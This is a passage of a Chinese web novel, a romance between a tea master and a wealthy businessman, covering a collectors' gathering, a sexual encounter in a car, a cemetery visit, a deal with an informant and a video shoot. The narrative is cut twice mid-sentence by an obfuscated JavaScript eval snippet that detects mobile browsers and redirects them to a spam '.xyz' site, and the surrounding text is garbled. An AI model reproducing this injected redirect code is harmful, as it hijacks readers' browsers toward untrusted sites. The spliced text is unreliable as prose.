秦潮生原本正在和别人交谈,余光看见方施廷并不意外,但随即看到傅砚珩的时候,却是结结实实地愣了一下。 “抱歉,失陪一下。” 他大步走过去,语气充满了惊喜:“砚珩,真没想到你会来!” 傅砚珩笑了笑:“生意兴隆。” 身后的闻时将一个皮质酒箱交给专门的助理,秦潮生真心实意地说:“你来了就已经是最大的惊喜了,我们之间不需要这些——” 方施廷一笑,揶揄道:“巴塔蒙哈榭,你要是不要的话就给我,我都眼馋好久了。” 秦潮生倒吸一口冷气,然后就听傅砚珩说道:“这是楚韫。” 秦潮生睁大了眼睛,刚才离得很远他就注意到了对方,下意识就觉得很眼熟,只是一直没敢认。他有些震惊地说:“是那位制茶师——?” 楚韫微微颔首,和对方握了手:“是我。很高兴认识您,秦先生。” 方施廷偷偷地对傅砚珩说:“我看他见到楚韫比见到你更惊喜。” 傅砚珩不为所动,甚至挑了挑眉:“那证明楚韫很优秀。” 方施廷“啧啧”两声:“傅砚珩,你真该找个镜子照照,瞧你那一脸与有荣焉的样!” 那边楚韫很抱歉地说:“来得匆忙,没能备上一份开业礼——” 秦潮生瞥了傅砚珩一眼,总算明白对方为何送上这样贵重到令人咂舌的礼物。他心下好奇这两人是什么关系,面上笑道:“这有什么,实不相瞒,我一直想要认识一下‘雪绡’的制作者,当年我第一次喝到它时简直是惊为天人。” 每一位茶叶制作者在听到自己的茶叶被人夸奖时都会很高兴,楚韫也不例外:“谢谢。” 他们几个人往里走去,秦潮生说:“你们先弄些东西吃,吃完了我带你们去看我的藏品。” 楚韫一心想去看看他收藏的东方美人,选餐点的时候也只是简单拿了几样。手里的盘子突然被人放上了一块鹅肝,傅砚珩像是看穿了他心中所想:“多吃点,不用着急。” 今天来的都是他们这个顶级圈子里的世交,这样毫不避讳的亲昵,几乎就是向所有人明明白白地公布了两人的关系。 “你这样真的没问题吗?” 傅砚珩看他餐盘里东西太少,又给他夹了一块牛排,闻言漫不经心地说:“能有什么问题?我男朋友又不是什么见不得人的人。” 因为上午参加了省博展览的开幕式,今天楚韫穿了一身正装,身姿挺拔修长。他的眉目总给人一种远山含黛的感觉,不笑时疏离冷淡,但因为那张脸实在太过惊艳昳丽,就会产生一种极具反差感的吸引力。 这样的人,光是站在这里,就已经吸引了无数明里暗里的目光。傅砚珩微微低下头,在楚韫耳边面无表情地说:“真想带你离开。” 把你关起来,只属于我一个人。 楚韫不知道他的那些心理活动,好笑地摇了摇头:“行了,我连人带心都是你的。” 吃完东西,秦潮生带他们去看他的收藏。 彭宗甯早他们一步到了二楼展厅,看见傅砚珩和楚韫的时候也只是顿了一下,随即就和他们打了招呼。 因为今晚邀请的都是至交好友,秦潮生特意带来了他最得意的几件藏品。 “这是一零年出产的东方美人,那年峨眉乡的雨水特别均匀,这批茶的着涎率甚至达到了72%,后来这么多年就再没有这么高的了。” 楚韫犹豫着问道:“秦先生,我能闻一下你的东方美人吗?” 秦潮生笑着说没问题,随即让人拿钥匙打开了恒温展柜。 方施廷参观时特意落后了楚韫他们两步,凑到彭宗甯身边说:“你觉不觉得他们两个之间有点奇怪?” 彭宗甯从一件展品的介绍上抬起头:“什么?” 方施廷压住心里的兴奋,装模作样地说:“告诉你个爆炸性消息,你千万做好心理准备。” 彭宗甯疑惑看他一眼,等待他的“爆炸性消息”。 方施廷深吸一口气,紧紧盯着彭宗甯,希望稍后在这张脸上看到某种天崩地裂的表情。 他压低了声音,但语气是颤抖的:“我也是今天晚上才知道,傅砚珩和楚韫在一起了!!!” 他自顾自地说下去:“多吓人啊,一个恨不得二十四小时都在开会谈判签合同的工作狂居然会把他宝贵的时间分给谈恋爱这件事上,在此之前我甚至以为他以后会和工作小姐结婚——” 彭宗甯看起来异常平静,没有任何受到惊吓的迹象。 “不是,你怎么这个反应啊。” 方施廷没吓到别人反而把自己吓死了。面对彭宗甯的波澜不惊,他干笑了两声:“不会是我想的那样吧。” 他几乎已经确定了心中的猜想,深吸一口气,忍着怒气道:“彭宗甯,你知道了不告诉我??!” 然而对方只是淡淡瞥了他一眼:“你想多了,我不知道他们在一起的事。” 眼见傅砚珩终于把人追到手,彭宗甯终于不用再替他遮遮掩掩:“是砚珩之前和我说,他喜欢楚韫,想追求人家。” 38. 墓园 今晚的收获远远超出了楚韫的预期,他在秦潮生这里看到了着涎率极高的东方美人、七年陈特级白毫银针,以及九十年代的八八青饼等各种有市无价的茶叶珍品,并且从中获得了一些触类旁通的新灵感。这些想法如果能够成功实现的话,将会是对茉莉花茶制作工艺的一个新突破。 他很少有这么兴奋的时候,以至于傅砚珩提前让司机回去,自己开车送他回家。 楚韫一开始还不明白,直到对方把宾利停在他家楼下,有些粗暴地撬开他的唇齿时,他才懂得这人的盘算。 “这么开心,嗯?” 在接吻的短暂间隙里,傅砚珩这么问他。 楚韫被亲得有些头昏脑涨,但还是诚实地回答:“……因为突然有了新灵感。” 他听见对方低低的笑声。 “开心就好。” 两人呼吸再度相缠,狭窄的车厢里又响起了某种潮湿、暧昧的声音。他们第一次亲得这么凶、这么激烈,每一次的唇舌相碰都带来一阵令人惊惧的快感。情欲的潮水一波波漫上来,几乎要将人淹没、吞噬。 身体某处悄然起了变化,楚韫忽然一顿,脸颊蔓延上一片绯色。 他不是重/欲的人,一年到头为数不多的几次也都是自己解决。此时此刻仅仅是和喜欢的人亲吻就已经让他起了反应—— “怎么了,这么不专心?” 傅砚珩的嗓音也哑了,亲昵地蹭着他的鼻尖,惩罚般地咬了下他的嘴唇。 楚韫闭了闭眼,有些难堪:“我……” 傅砚珩见他这个样子就基本什么都懂了,用一种几乎是诱哄的语气说道:“没什么的,我们是恋人,这些都很正常。” 他摸了摸楚韫烧起来的脸,温柔地抚平他心里的那些羞耻:“楚韫,这证明你很喜欢我,我很高兴。” 车厢里很昏暗,但因为彼此离得极近,楚韫能清清楚楚感受到对方凶兽般的目光,与他温柔的语气简直判若两人。 他还没有意识到这意味着什么,下一秒,双手被人并在一起,一条领带紧紧缠住了他的手腕。 楚韫惊愕:“你……” “别怕,我帮你,会让你舒服的。” 傅砚珩更大幅度地倾身过来,在楚韫终于反应过来他要做什么的时候,就听皮带被人解开的“咔哒”一声。 月光绮靡,情/欲的潮水终于变成滔天的狂澜,席卷他的所有理智。 他紧紧咬住下唇,但还是抑制不住地发出破碎的呜咽声。修长的脖颈向后仰去,形成一段优美而脆弱的弧度,随后就被人很轻地吻住喉结。 “……会,会弄脏你的车。” 傅砚珩的语气听起来不容置疑:“不会。” 他去亲楚韫紧咬的唇,将他那些压抑的喘息声吞入腹中。 在无数次的澎湃后,巨浪到达了最高点,天空终于降下一场暴雨,冲刷掉一切轰轰烈烈的痕迹。 楚韫失神的眸子终于恢复了焦距,余光中,傅砚珩抽出几张纸,慢条斯理地擦拭着手指。 ……确实没有弄脏他的车,但空气里却已经弥漫着难以言明的味道。 楚韫觉得,自己可能再也无法正视这辆宾利了。 . 接下来的几天,楚韫每天都往他大学的生物实验室跑。 他那天的想法主要需要几个关键实验进行支撑,一是对东方美人的发酵菌群进行分离纯化,二是测定茉莉花瓣酶类的活性曲线,最后还需要验证二氧化碳浓度调控对微生物群落平衡的影响。说起来当年他选择生物专业,就是为了将来有一天能利用生物技术做出更好的茶叶。 但做实验是个漫长的过程,楚韫基本每天都是深夜才回家。 傅砚珩这几天去外省出了个差,他们一般就是晚上打个视频,每次都聊不了多长时间,因为楚韫做了一天实验实在很累,常常是聊着聊着就睡着了。 时间很快就到了他们约定的那天。 这次是楚韫开车去接的傅砚珩。 市中心的摩天高楼渐渐被抛在身后,窗外景色被山野荒草所取代。车子一路行驶到城郊,最终在S市公墓前停了下来。 傅砚珩在上车时就已经有了猜测,因为他看见后座上放着一束洁白的百合花。 “今天是我师父的忌日。”楚韫朝他笑了笑,说道:“擅自决定带你来这里,希望你不会介意。” 傅砚珩握了握他的手,摇了摇头:“怎么会,你的师父就是我的师父。” 他们下了车,傅砚珩跟着楚韫穿过一排排整齐的墓碑,最终在一块刻着“师父廖叙生之墓”的碑前停了下来。 他本以为那束百合花是给廖叙生的,但出乎他所料,楚韫拿出了一个小小的茶罐。他把茶罐打开,里面茉莉花的香气瞬间飘了出来。 “师父,这是我今年新做的茉莉花茶。” 楚韫蹲下身子,把那个茶罐放在了廖叙生的墓碑前,手指拂过碑上的灰尘,喃喃道:“您还不知道吧,这一年发生了很多事情。‘先春’又恢复了您在时的样子;我参加了一个国际比赛,还很幸运地拿到了冠军;我最近又有了一些新的制作茉莉花茶的灵感……” 他站起身来,嘴角弯起,目光柔和:“还有最重要的一件事。” 傅砚珩抱着那束白色百合花,若有所感地望了过去,就见楚韫牵起他的手,微笑着说:“师父,我找到了自己喜欢的人。” “我从小缺爱,性格冷淡,您一直担心我以后一个人孤单无依,现在您可以放心了。”楚韫心中酸楚,却又掺杂着几缕甜蜜:“他是个很好的人,很温柔、很有耐心。他总是能察觉我的那些敏感和自我怀疑,不厌其烦地一遍遍地肯定我。最重要的是,和他在一起,我总能感到最纯粹的开心。” 他歪头看了一眼傅砚珩,轻声说道:“所以师父,请祝福我们吧。” “我想和这个人一起走下去。” 走过这一路的荆棘丛生,走出那些灰暗不堪的回忆,走到远处的繁花盛开、春和景明。 傅砚珩目光微微闪动,顺着楚韫的话说下去:“师父,接下来这一程,有我陪着楚韫。这些年他独自扛过的,往后不必再担。” “我爱楚韫,他是我的伴侣。请您在另一个世界保佑我们,幸福、平安地走过接下来的每一天。” 微风拂过墓园的树梢,一片树叶悠然而落,缓缓飘到了他们面前,像是来自远方天堂的回应。 “……这是给你妈妈的吗?” 两个人的手一直紧紧牵着,楚韫微微颔首,微笑道:“是的。我妈妈生前最喜欢白色的百合花。” 他们在另一块墓碑前停下。这块墓碑明显比上一块更有年头,经过了十多年的风吹日晒雨淋,边角处已经有些损坏了,但碑上的文字依旧光洁无缺。 “前两年我找了人重新补漆,不然上面的字基本都看不清了。” 楚韫看了一眼傅砚珩,说道:“你来放这束花吧,我妈妈会很喜欢你的。” 傅砚珩于是弯下腰,很郑重地把那束白百合放在了楚盈慈的墓前。 在他旁边,楚韫笑着说:“妈,这是我男朋友,我和他一起来看您。” 傅砚珩神情认真:“阿姨好。” 他站起身,不知道是不是错觉,他总觉得楚韫看起来有点难过。 “我为什么这么晚才知道呢。”楚韫的声音轻得像泡沫,令傅砚珩无端想起了他醉酒的那个晚上。 “我最近常常想,如果你还留着一张父亲的照片,一切是不是都会有所不同。那样的话,我会在见到师父的第一眼,就认出他是我的父亲。我会告诉他,这么多年,你一直在等他,也许我们两个会一起到你的墓前看你。” 傅砚珩眸光一凝,随即猝然明白了一切。 “你知道我知道真相的那个晚上有多难过吗?”楚韫垂眸,像是在对一块墓碑自言自语,又像是向傅砚珩倾诉:“那个晚上我想了很多,我在想,这么多年师父对我的好,到底是出于真心的爱护,还是一种愧疚和补偿。” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383325|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那双墨色的眼睛波光潋滟,似乎下一秒里面就会下一场倾盆大雨。 真相太残酷,残酷到顷刻间让他构筑了二十多年的信念轰然倒塌,只剩下一堆废墟残瓦。他第一次知道,原来一个人可以这样被命运玩弄于股掌之间,他那么爱重的师父,其实是他血缘上的生父。 那他童年时经历的一切又算什么?那些歇斯底里的咆哮、那些永无止境的打骂、那些癫狂神经的指责,还有那个烙印在他心底的,经年不散的血腥梦魇,那些都算什么呢? 他曾经以为的,拯救他于地狱深渊的人,其实正是一切痛苦和悲剧的根源。 楚韫看着傅砚珩,轻声道:“你之前问我,那晚到底经历了什么,为什么会喝醉,我现在告诉你。” “因为那天晚上,我知道了我师父是我的生父。” 任何的话语在此刻都显得贫瘠,傅砚珩知道廖叙生对于楚韫来说意味着什么,也知道在某种程度上楚韫的父亲是他幼时苦难的根源。 “傅砚珩,”楚韫仿佛才从一场噩梦中抽离出来,刚才的那些潮湿、脆弱都被套上了一层故作镇定的壳。他说:“我从未将这个秘密告诉过其他人。” “你是第一个,也是唯一一个。” 血液变得冰冷、凝滞,顺着血管逆流,在每一寸肌肤掀起细小的痉挛。可下一秒,一股温热又漫上来,像春雪融水淌过冻裂的河床,顺着血管的纹路慢慢铺展。 这是楚韫毫无保留的全盘托出,是一个惯常以冷漠作掩饰的人倾尽全力敞开的所有。 傅砚珩上前一步,双臂环住楚韫的身体,将人紧紧地拥在自己怀里。 他能感受到怀里的人僵硬了两秒钟,随即双手在他的腰侧收紧。他们的身体完全贴合,几乎没有任何缝隙,连彼此的心跳都能被对方清晰感知。 这是一个不掺杂任何风月旖旎的拥抱,傅砚珩只是单纯地想要给楚韫一些安慰,传递那些他无法言说的心情。 楚韫仰起头,将下巴放在傅砚珩的肩头。他闭上眼睛,让一切感官都集中在触觉,集中在彼此肌肤温度的交融上。 过了好久,他听见傅砚珩的声音,就在咫尺之间。 “但即使这样,你现在也不怨他们了,对吗?” 因为如果再怨下去、恨下去,就相当于在告诉自己,这个世界上没有人是真心对你的。 楚韫幅度很小地点了点头,但他的答案却出乎傅砚珩的意料:“某种程度上是因为你。” 他吐字的气息轻巧地拂过傅砚珩的耳朵,让他觉得有些痒。 “因为你,我不想再沉沦于过去,而是想要像一个正常人一样和你发展一段正常的恋爱关系。” 他们心有灵犀地松开了怀抱,楚韫微笑着说:“命运曾经对我开了一个巨大的玩笑,但它也很仁慈,让我在二十五岁这一年遇到了你。” 傅砚珩的眼底蔓延出星星点点的笑意。虽然他知道事实并非如此,像楚韫这样优秀的人,就算没有自己,也早晚会从过去的伤痛中彻底走出来。但听到这句话的瞬间,他还是会从心底生出一种无可复加的喜悦。 “我也是,楚韫。” “喜欢上你,是我这二十九年以来最大的幸运。” . 回去的路上,楚韫简单和傅砚珩说了一下吴润的事。傅砚珩听完,也认为让吴润倒戈的关键应该就是他的父母。 “但余晋华这次早有准备,我的人找到他父母住的地方时,房子已经空了,人应该是被提前转移到别的地方去了。” 话虽如此,但楚韫看起来很平静,一点意外、焦躁的情绪都没有。 傅砚珩收回目光,笑了笑:“看样子你已经想好办法了。” 楚韫微微颔首:“我不打算再大动干戈、花很多时间去找人了。那样反倒容易引起余晋华的注意。” 车子驶入主城区,汇进滚滚车流中,前面红灯亮起,楚韫踩了刹车。 “我要利用他们两个的信任危机诈吴润一把,但需要你帮我一个忙。” 39. 拍摄 吴润推开了包间门,果不其然看到了一张他意料之中的面孔。 “别客气,坐吧。” 吴润面无表情地审视了对方几秒,对方脸上的笑容没有任何波动,就那么大大方方地让他看。 “倒也不必这么谨慎,这家会馆私密性有多好你应该也知道。而且为了表达我的诚意,我和你一样,没有带任何电子产品进这间屋子。” 吴润终于走过来坐到楚韫对面,他眯了眯眼睛,冷笑道:“既然已经抓到了我的把柄,怎么不直接交给警察?让我过来不就是想放长线钓大鱼吗?” 他以为楚韫会说些虚以为蛇的话来糊弄他,结果对方点了点头,直接道:“你说的没错,你的结局确实已经注定了。” 吴润一愣,就听楚韫接着说:“但你父母的命运可还掌握在你手里。” 他刚来的时候楚韫就已经坐在了茶台后面,随着他们之间的对话,对方已经将一杯茶放在了自己面前。 空气里氤氲着淡淡的雪松香,楚韫说:“熟悉吗?这是你们会长做的雪听松风。” 吴润没接他这句话,而是问道:“你说到我父母是什么意思?” 楚韫喝了一口茶,眉峰微蹙,背书一样地说出了对方的家庭情况:“你出身于皖南山区,家里条件很差,父亲早年下地干活时摔断了腰椎,母亲患慢性支气管炎常年需要吸氧,家里只能靠亲戚接济和低保维持。这一情况直到你工作挣钱后才稍有缓解,但在巨额的医药费面前还是治标不治本——我说的没错吧?” “真正解决这一问题还是在你被提成余晋华的助理之后,你还上了向亲戚借的钱,父母也能接受正规的医院治疗。” 楚韫抬眼,看见吴润目光闪动了一下,知道自己没猜错。 “但从此之后你们的关系就不再是‘会长’和他的‘助理’了,你开始帮他处理那些无法公布于世的阴私,变成了他手里的一把刀。并且你也应该知道,从他帮你支付高额的医药费开始,你的软肋就被他拿捏在了手里,不能有任何反抗。” 吴润讥讽地笑了笑,看起来不为所动:“你把我调查得很好,我也知道你的打算,但那又如何呢?我也厌倦了这样的日子,在牢狱里度过一生也挺好的。” 他压根就不认为楚韫能从余晋华手里找到他父母,毕竟他自己私下里已经调查了无数次,都是一无所获。 “——但如果我说,我找到了你的父母呢?” 吴润的第一反应是不相信,但楚韫已经敛去了笑意,眉眼间肃穆沉静,有一种令人信服的力量。 他张嘴,轻轻吐出了一个名字:“平溪县安和康复中心613病房,不信的话就自己去查吧。” 吴润心中惊疑不定,但他面上仍保持着平静:“你的条件是什么?” “很简单,你帮余晋华办事这么多年,肯定会料到有这么一天。我要你这些年收集的与他有关的所有罪证。” 吴润喝掉已经冷了的茶水,指尖敲了敲桌面,干脆道:“可以。但作为交换,我要你在余晋华对我父母不利之前把他们转移出来,并且负责他们接下来的养老和医药费。” “——直至死亡。” 楚韫微微颔首,答应得很痛快:“没问题。” 像是洞穿了吴润心里的怀疑,楚韫微微一笑:“你放心,是非对错我还是分得清的,你父母是无辜的,我自然不会牵连他们,更何况你还帮了我这么大一个忙。” 他不说,对方也明白,这种时候除了相信他别无选择。 “我还有一件事不明白。” 无论是之前从余晋华和宋清峦嘴里听到的楚韫,还是他今天亲眼见到的这个年轻人,都让他觉得自己最后栽在他手里并不冤枉。 但是,但是—— “你参加比赛的时候,明明应该分身乏术的,怎么能抢在我之前把陈家烨带走?还有那份汇款记录,我用的是临时开设的匿名账户,你是怎么追踪到的……” 冥冥之中他总有一种感觉,好像楚韫身后的阴影里站着一个人,沉默、不动声色,却更让人感到蛰伏的心惊,但明明之前还没有这种感觉—— 他端详着楚韫的神色,竟然真的从中捕捉到了一缕一闪即逝的柔和。 说实话,楚韫也不知道傅砚珩是用什么手段追踪到那笔钱款的流向的,但这种东西涉及到灰色地带,办起来难度系数很大,如果换做是他的人来做,一定不会这么顺利。 “吴润,人都是会成长的。余晋华用了三年时间坐到了茶协会长的位子,我也不会一直停滞不前。” “也是。”吴润自嘲地笑了笑,说到底,他还是有些不甘心,折戟于一个曾经的手下败将手里。 他站起身来,脸庞被笼罩在灯光下,一瞬间不再是之前的黯淡老成,更多了些符合他年纪的光彩。 也就是这个时候,楚韫才想起来吴润其实不过三十岁。 “如果我发现你在骗我,那么我会立刻销毁手里的所有证据。”吴润撂下狠话,但楚韫对此只是“嗯”了一声,看起来一点都不在意。 “你家的债务都已经还完,你的父母有我赡养,出来之后从头再来也不晚。” 吴润瞳孔微缩,甚至楚韫觉得他有一瞬间是想说些什么的,但最后还是冷哼一声,大步离开了。 . 瑞禾的茶文化项目正在有条不紊地推进,楚韫下午需要去帮忙拍摄几条相关的视频,于是和吴润的谈话结束后,他就驱车前往了指定的摄影棚。 楚韫到的时候,场地已经被布置得差不多了,他今天需要拍的主要都是和茶艺相关的内容,镜头会聚焦他的手部动作和面部表情,因此在正式拍摄之前还需要简单调整一下仪容仪表。 他刚刚已经和化妆师联系了,对方表示她有临时事情走不开,会让人带他先去化妆室。 就在这时,一个移动衣架直直地朝他撞过来,楚韫侧身避开,恰好和后面的工作人员目光相对—— 电光石火间,他们都认出了彼此。 “你你你,你不是那个——”傅嘉礼睁大了眼睛,一副见了鬼的样子。 楚韫想起这人是傅砚珩的弟弟,不由得多看了他两秒,其实细看之下这两兄弟的下半张脸还是很像的,但傅砚珩的眉目更加具有锋利的折线感,因此看起来也更加凛冽。 然而就是这短短的两秒却把傅嘉礼看得毛骨悚然:“不是,我脸上有什么东西吗?” 楚韫摇了摇头,刚想回答,就听对方手机响了一下。傅嘉礼急急忙忙掏出手机来看,随即开始左顾右盼,喃喃自语道:“诶,我怎么没看到那位楚老师。” 楚韫无语一瞬:“……其实他就站在你面前。” 傅嘉礼立刻反应过来,“哈哈”干笑了两声,能屈能伸地说:“抱歉啊楚老师,我之前没认出来您,Ailee姐让我先带您去化妆室。” 然后傅嘉礼就推着他那个移动衣架在前面带路,看起来确实是没吃过苦头的大少爷,一路上险些撞到了好几个人。 “楚老师您先坐,”傅嘉礼把移动衣架推到墙边,然后很会来事地给他递了瓶水:“您先喝点水,Ailee姐马上就到。” 楚韫微微颔首,说了句“谢谢”,随后化妆室里就陷入了一种诡异的安静。 最后还是傅嘉礼先忍不住了:“那个,我先向您自我介绍一下,我是瑞禾负责这个项目的员工,在您拍摄期间充当您的助理。” 楚韫想着他是傅砚珩的家人,扯了扯嘴角,努力露出一个他自认为很友善的表情:“你好。” 看对方的样子,应该是还不知道自己和傅砚珩的关系,楚韫想着这种事情还是等傅砚珩去说吧,便想找些话题缓解一下尴尬:“抱歉,上次在瑞禾不知道你是员工,对你态度不太好——” “没事没事!”傅嘉礼立刻道:“我那天确实看起来……不太正常,你有防备也是正常的。” 恰在此时,Ailee推门走了进来,笑道:“久等了,刚才导演叫我过去说了点事情。” 她端详了一下楚韫,看起来很惊艳:“楚老师,你这张脸甚至比我见过的很多明星都要好看。” 她笑眯眯地坐到了楚韫旁边,“唔”了一声,像是在思索:“我觉得你本身的五官已经很出色了,稍稍修饰一下就好,就是脸上缺了点血色,扫点腮红就好啦。” 然后她又看了一下楚韫今天穿的衣服,去移动衣架上挑挑拣拣,最后找到了一件带着竹节暗纹的月白色亚麻衬衫。 “这件吧,看起来很适合你。” 傅嘉礼坐在后面的椅子上玩手机,等到楚韫化好妆,从试衣间走出来时,他抬起眼睛,手里的手机“啪嗒”一声掉到了地上。 “怎么了?”楚韫挑眉问道。 傅嘉礼突然觉得这神情似曾相识,回味了一下才想起来,这简直是和他哥的神情如出一辙。 “没,没事——” Ailee打断了他:“这件衣服真的很适合你!你看起来真的就像从江南烟雨走出来的书香世家的公子!” 楚韫笑了一下:“谢谢。” 接下来就是拍摄环节,傅嘉礼在旁边看了个全程,只觉得楚韫的魅力真是越挖越有。之前光是一副皮囊就已经足够吸引人了,但如果真的看到对方坐在茶台后、无数灯光和摄像机对准他手上的动作,就会觉得,这才是他最原本的样子,也是他最耀眼夺目的样子。 傅嘉礼正看着,就听摄影棚门口传来一阵喧闹的声音,随即又很快安静下去了。他起初没在意,直到身旁站了个人。 “好看吗?” 傅嘉礼下意识回答:“好看啊。” 随后他像是突然反应过来,石化般地一点点扭动脖子,果不其然看到了一张熟悉的脸。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383326|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“……哥,你怎么来了。”傅嘉礼语气喃喃如同梦呓,下一秒立刻站到一边:“傅总,您坐,您坐。” 傅砚珩连一个眼神都没给他,淡淡地说:“你自己坐吧。” 他们这是个处在阴影里的角落,没什么人会注意到,不然傅嘉礼肯定第一时间离他哥远远的。他下意识以为傅砚珩是来找他的,立刻开始汇报自己最近在瑞禾工作得有多么认真,和同事相处得有多么融洽,当然被上司骂的事情就省略不提了。 他说了一大堆,结果往旁边一看,他哥的眼睛自始至终就没离开过那边的拍摄区域,更准确来说是没离开过被拍的那个人。 “……” 楚韫那边已经拍到了最后一条,需要展现宋代点茶的技艺。他换了一套黑釉兔毫盏,一边用沸水沿盏壁浇圈一边说:“熁盏要匀,不然茶汤易凉。” 碾茶过后,就是击拂。楚韫提起竹筅,将沸水注入盏中,随即手腕旋动,盏内的乳白浮沫渐渐凝出蟹眼纹、鱼鳞纹,最后铺成绵密的雪面。 “汤花需咬住盏沿。” 楚韫加重了力道,茶筅扫过盏壁发出细微的“沙沙”声,浮沫边缘粘在了黑釉上。 他穿的那件亚麻衬衫上有骨制盘扣,此刻正随着他的动作轻轻晃动。楚韫将茶筅竖直提起,浮沫上浮现出一片柳叶的形状。 “不是,哥,你是对楚韫不满意吗?”不然为什么目不转睛地盯着人家看。 傅嘉礼有些摸不着头脑,虽然他也不专业,但在他看来,楚韫的每个动作都做得挺好的。 “话说回来,哥,你没有其他工作了吗?还是别因为我耽误你的时间了。”事实上是傅砚珩在这里傅嘉礼就浑身难受。 傅砚珩冷冷看他一眼,无情吐出几个字:“安静一会。” 那边导演喊了“咔”,随即笑容满面地走过去,热络地和楚韫搭话:“今天的拍摄很顺利,辛苦了楚老师。” 摄影棚里有些闷,楚韫抬手解开了衬衫最上方的两颗扣子,笑了笑:“没事的,大家比我更辛苦。” 导演看了眼时间,发出邀请:“一会收工后一起去吃饭吧,今天效率很高,我本来以为要让场务订盒饭了。” 楚韫低头看了眼手机,微笑婉拒:“不了,我接下来还有事情,就不和大家一起吃饭了。” 导演闻言也不勉强:“那好,我们下次再约。” 他的手机刚刚就响个不停,此时终于有时间拿出来看一眼,结果就是这一眼差点给他吓个半死—— 楚韫环视一圈,刚刚在一个不起眼的角落里找到傅砚珩,结果身边的导演步履匆匆地奔着那个方向就去了。他想了想,还是没跟着过去。 导演心想怪不得手机被轰炸了,原来是最上边的大老板亲自过来了。这可是他们真正的衣食父母,他剩下的几条视频、以后的综艺节目还都仰望着这位出资呢。 他三步并作两步小跑过去,一句“傅总”喊得恭敬又不谄媚,却见对方眉峰微蹙,看起来不太吃他这一套。 他还想再说什么,傅砚珩已经抬手制止了他:“我只是来这边看看,你们安心工作就好。”与此同时他的目光已经落在了远处,导演斗胆顺着一看,就见楚韫正在和一个道具组的小男生说话。 楚韫背对着他们,但那个小男生脸上的仰慕、羞涩却是被他们看了个一清二楚,两人不知说了什么,那个小男生脸上绽开一抹笑意。 “唉,优秀的人果然走到哪里都能吸引别人的目光。”导演略显无奈地感叹道。 身边拂过一阵雪松香,等他反应过来的时候,傅砚珩已经走了过去。 “谢谢你,楚老师——” 声音戛然而止,连带着表情都变得一片空白。楚韫疑惑地回过头,结果就看见了站在身后的傅砚珩。 傅砚珩微微低头,和楚韫的目光对了个正着:“我们可以走了?” 楚韫觉得有些无奈,又有些好笑,和那个道具组的小男生说了声再见,便毫不留恋地和对方一前一后离开了摄影棚。 . “傅砚珩,你是喷了雪松味的香水吗?” 傅砚珩腰窄腿长,一旦迈开步子楚韫都很难追上。楚韫小跑了两步,看了眼周围没人,便拽住他的袖子,绷着笑意说: “你什么时候来的,我也是拿到手机才看到你的信息。” 话音刚落,他能明显感觉到对方放慢了步子。 “你拍最后一条视频的时候。” 楚韫还想说什么,结果傅砚珩已经停下了脚步,眼前不是那辆熟悉的宾利,而是一辆他以前从没见过的迈巴赫。 傅砚珩转过身,意味深长地说:“上车吧,楚老师。” “……” 楚韫瞬间从他的眼神里读懂了他的深意,脑海里瞬间重温了一遍那天晚上他们在宾利里做的事情,第一次觉得对方太了解自己也不是什么好事。 40. 七夕 在车上的时候,傅砚珩问他:“知道今天是什么日子吗?” 楚韫第一反应就是摇头,然后打开手机日历查看,但傅砚珩已经提前给他答案了:“今天是七夕节。” 楚韫一愣,随即脸上少见地出现一抹慌乱:“……对不起,我完全忘记了。” 他这几天一门心思扑在吴润的事情上,实在是有些焦头烂额,但这并不是他能忘记这一天的理由。 “我怎么舍得怪我男朋友。”傅砚珩捏了捏他的脸。 楚韫很轻地“嗯”了一声,心里想的是以后一定要把每一个这样的日子都记住。他看了眼窗外变换的街景,问道:“我们这是要去哪里?” 傅砚珩看他一眼:“保密。” 楚韫其实想问他是不是吃醋了,但话到嘴边却发现对方一直在盯着他的领口看,下一秒,傅砚珩倾身过来,伸手拢上了那两颗解开的盘扣。 楚韫有些不明所以,但当务之急还是先把对方哄好:“……我本来想立刻就去找你的,但那个导演抢先了一步,我就想着等一会再过去……那个和我说话的男生也是工作人员,我们只是聊了一下点茶手法,没别的——” 他非常主动地凑了过去,那双墨色的眸子里波光潋滟,里面只有一个人的身影:“别生气了,傅砚珩。” 说完,他抬手轻抚对方眉眼,用指尖一点点勾画描摹那副令他怦然心动的轮廓。 傅砚珩无奈道:“我没有生气。”他伸手将楚韫额角的一缕头发拨到耳后,平静地说:“我只是讨厌那些人拿爱慕的眼光看着你。” 这是独属于他一个人的珍宝,世俗的任何目光都不应该沾染他分毫。 就应该锁起来,让所有人都不能觊觎。傅砚珩面无表情地想。 楚韫之前就知道这人的占有欲有多强,也大概能猜到他脑子里现在充斥着多么偏执的思想。过去的一些经历让他一度对这样的人厌恶至极,但在面对傅砚珩的时候,他却一点都反感不起来。 究其原因,这种占有欲是以“爱”为底色的,而并非是对一个漂亮物件所生出的贪婪和邪念。 楚韫笑了笑,看起来有一种惊心动魄的神采。他缓慢而郑重地说:“但那些目光永远无法到达我的心里。”因为我的眼里只能看到你一人。 明明不是一个擅长甜言蜜语的人,但还是毫无负担地对他剖白自己的心意,只为了给他一份安全感。 傅砚珩静静看了他一会,随即毫不犹豫地低头吻上。 . 傅砚珩带他来的地方是一处中式别院,也是下车之后,楚韫才看到他全身的穿着。 傅砚珩今天罕见地穿了一身深灰色的三件套西装,戗驳领双排扣外套挺括有型,内搭同色系马甲,除此之外还搭配了金属链装饰,看起来格外优雅沉稳,充满了矜贵气息。 